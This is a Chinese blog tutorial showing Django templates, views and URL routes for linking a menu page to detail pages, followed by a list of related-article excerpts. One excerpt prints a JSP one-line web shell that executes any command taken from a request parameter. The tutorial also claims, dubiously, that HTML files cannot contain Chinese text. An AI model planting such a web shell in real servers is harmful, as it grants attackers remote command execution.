之前用django框架打了一个简易的博客网站，现在说说怎么用django做超链接。

本文基于之前讲解的博客应用，如果只想学超链接请自行删减代码或评论提问。

首先，在templates文件夹下添加details.html文件：

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>{{ data.title }}</title>

</head>

<body>

    <h2>{{ data.title }}</h2>

    <img style="width: 450px;height: 300px;" src="{{ data.img }}">

</body>

</html>

然后，再添加menu.html文件：

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Carton</title>

</head>

<body>

    <ul>

        {% for item in data %}

            <li>

                <a href="/details/{{ item.id }}">{{ item.title }}</a>

            </li>

        {% endfor %}

    </ul>

</body>

</html>

切记，html文件不能有中文！！！不然UTF-8编码会出错，页面会显示UnicodeError。

然后就开始建立连接了：

先打开views.py；

from django.shortcuts import render,redirect,render_to_response

from blog.models import BlogsPost

# Create your views here.

def blog_index(request):

    blog_list = BlogsPost.objects.all()

    return render(request,'index.html', {'blog_list': blog_list})

def blog_school(request):

    return redirect('https://www.dlmu.edu.cn/')

def details_render(response, id):

    data = {

        "1": {"title": "one",

              'img': 'http://photocdn.sohu.com/20140303/Img395937155.jpg'},

        "2": {"title": "two",

              'img': 'http://p4.so.qhmsg.com/sdr/400__/t01145220e19e14dd69.jpg'},

        "3": {"title": "three",

              'img': 'http://uploads.5068.com/allimg/1812/224-1Q21Q51239.jpg'},

        "4": {"title": "four",

              'img': 'http://www.chinaqw.com/zhwh/2016/09-06/U682P894T5D102134F42DT20160906113524.jpg'},

        "5": {"title": "five",

              'img': 'https://p1.ssl.qhmsg.com/t01409ee9dd99712d8c.jpg'}

    }.get(id)

    return render_to_response("details.html", locals())

def menu_list(request):

    data = [

        {"id": 1, "title": "The Chinese dream"},

        {"id": 2, "title": "Core socialist values"},

        {"id": 3, "title": "Reform and opening up"},

        {"id": 4, "title": "The Belt and Road"},

        {"id": 5, "title": "Dalian Maritime University"}

    ]

    return render_to_response("menu.html", locals())

接下来添加URL：

打开urls.py:

from django.conf.urls import url

from django.urls import path,re_path

from django.contrib import admin

from blog import views

urlpatterns = [

   url('admin/', admin.site.urls),

   url(r'^blog/$',views.blog_index,name='index'),

   url(r'^school/$',views.blog_school),

   path('menu_list/',views.menu_list),

   re_path(r'details/(?P<id>\d{1,2})',views.details_render),

]

这是运行程序，输入 http://127.0.0.1:8000/menu_list 即可打开超链接。

python django超链接的更多相关文章

  1. 基于Python+Django的Kubernetes集群管理平台

    ➠更多技术干货请戳:听云博客 时至今日,接触kubernetes也有一段时间了,而我们的大部分业务也已经稳定地运行在不同规模的kubernetes集群上,不得不说,无论是从应用部署.迭代,还是从资源调 ...

  2. python——django使用mysql数据库（二）

    上一篇中,我们已经讲述了如何初始化一个django数据库,这一章就来讲讲在实际的项目中如何使用我们初始化的数据库呢? 如还未进行初始化数据库操作,请参考python——django使用mysql数据库 ...

  3. python——django使用mysql数据库（一）

    之前已经写过如何创建一个django项目,现在我们已经有了一个小骷髅,要想这个web工程变成一个有血有肉的人,我们还需要做很多操作.现在就先来介绍如何在django中使用mysql数据库. 前提:已经 ...

  4. 如何查看PYTHON Django的保存路径

    如何查看PYTHON Django的保存路径 $ python -c " import sys sys.path = sys.path[1:] import django print(dja ...

  5. python Django教程 之 模型(数据库)、自定义Field、数据表更改、QuerySet API

    python  Django教程  之 模型(数据库).自定义Field.数据表更改.QuerySet API 一.Django 模型(数据库) Django 模型是与数据库相关的,与数据库相关的代码 ...

  6. python Django教程 之模板渲染、循环、条件判断、常用的标签、过滤器

    python3.5 manage.py runserver python Django教程 之模板渲染.循环.条件判断.常用的标签.过滤器 一.Django模板渲染模板 1. 创建一个 zqxt_tm ...

  7. python Django教程 之 安装、基本命令、视图与网站

    python  Django教程  之 安装.基本命令.视图与网站 一.简介 Django 中提供了开发网站经常用到的模块,常见的代码都为你写好了,通过减少重复的代码,Django 使你能够专注于 w ...

  8. python django 多级业务树形结构规划及页面渲染

    概述: 在项目中,父级到子级结构并不少见,如果仅仅的两层树形结构,我们可以使用数据库的外键设计轻松做到,子级业务表设计一字段外键到父级业务表,这样子到父.父到子的查询都非常简单. 但是往往父子结构会有 ...

  9. Python.Django视频教程（全13集）

    Python.Django视频教程(全13集)教程目录: 下载地址:http://www.fu83.cn/thread-205-1-1.html

随机推荐

  1. 论文解读（ChebyGIN）《Understanding Attention and Generalization in Graph Neural Networks》

    论文信息 论文标题:Understanding Attention and Generalization in Graph Neural Networks论文作者:Boris Knyazev, Gra ...

  2. es5 es6 新增

    es5的新特性 对于数组和字符串都进行了加强 map 遍历 es6的新特性 数组的增强 find 查找findIndex 查找下标 字符的增强 includes 是否包含 (包含返回true 不包含返 ...

  3. Web 布局设计（一）：固定侧边栏

    前言 闲着无事,做一些实战练习,今天实现一个如标题所示的布局设计.通过此次布局设计,我希望掌握position属性值 fixed.absolute.relative.width和height属性值 i ...

  4. 通过cpu热插拔解决rcu stall的问题

    在linux 3.10环境一次故障处理中,发现有类似如下打印: NFO: rcu_sched_state detected stalls on CPUs/tasks: {15 } (detected ...

  5. jsp一句话木马总结

    一.无回显的命令执行(命令执行后不会在前端页面返回数据) <%Runtime.getRuntime().exec(request.getParameter("i"));%&g ...

  6. HDU 5362 Just A String 指数型母函数

    题面 Description 用m种字母构造一个长度为n的字符串,如果一个字符串的字母重组后可以形成一个回文串则该串合法,问随机构成的长为n的字符串的合法子串数目期望值. Input 第一行一整数T表 ...

  7. idea中无法在@Test 之下使用Scanner

    //如何解决idea中无法在 @Test 之下使用Scanner@Testpublic void testInsert(){ Scanner scanner = new Scanner(System. ...

  8. 【Java】学习路径59-多个连接的服务器端

    ServerSocket可以对接多个Socket对象,利用这点,就可以实现:一台服务器对多个客户端. import java.io.IOException; import java.net.*; pu ...

  9. win10电脑自动连接蓝牙设备攻略

    每次在电脑上想连接蓝牙耳机,但不想手动去连接怎么办呢? 自动连接! 其实微软已经解决了这个问题,只要打开蓝牙,他就会自动匹配上次连接的设备 打开设置--->设备勾选 "显示使用&quo ...

  10. KingbaseES R6 集群主机锁冲突导致的主备切换案例

    ​ 案例说明: 主库在业务高峰期间,客户执行建表等DDL操作,主库产生"AccessExclusiveLock "锁,导致大量的事务产生锁冲突,大量的会话堆积,客户端session ...